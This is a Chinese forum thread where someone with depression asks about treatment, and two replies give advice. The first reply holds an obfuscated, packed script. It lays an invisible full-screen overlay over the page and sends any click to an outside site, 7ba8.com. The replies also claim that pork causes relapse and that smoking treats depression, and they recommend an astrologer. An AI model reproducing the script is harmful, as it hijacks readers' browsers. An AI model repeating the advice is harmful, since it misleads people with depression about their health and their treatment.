请求高人指点，depression,抑郁症的就医问题

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<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>这个需要精神放松和药物双重治疗. 听说国内有 "神经平衡片"治疗抑郁效果挺好 , 你可以向国内的亲友咨询一下. 另外不要吃猪肉, 猪类产品, 最好吃素. 实在想吃, 就吃些鸡肉 (猪肉一吃就会反复, 原因不明). 多长跑打球锻炼.  另外吸烟对抑郁也有治疗效果. 当然两重选其轻, 实在难过的话,就抽根烟放松一下. 如果能请下假, 回国呆个几个月, 放松一下, 效果更好.

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很多事情其实跟成长，家庭，自身性格内在的矛盾都有关系，但你没意识到，但问题积累到一定程度就爆发出来，楼主可以找个有国际执照，口碑好的中文占星师帮你。我自己是靠这个醒悟改正了很多，加油啊，楼主，每件发生在自己身上的事都在帮你重新认识自己，退去原本不属于自己的外壳。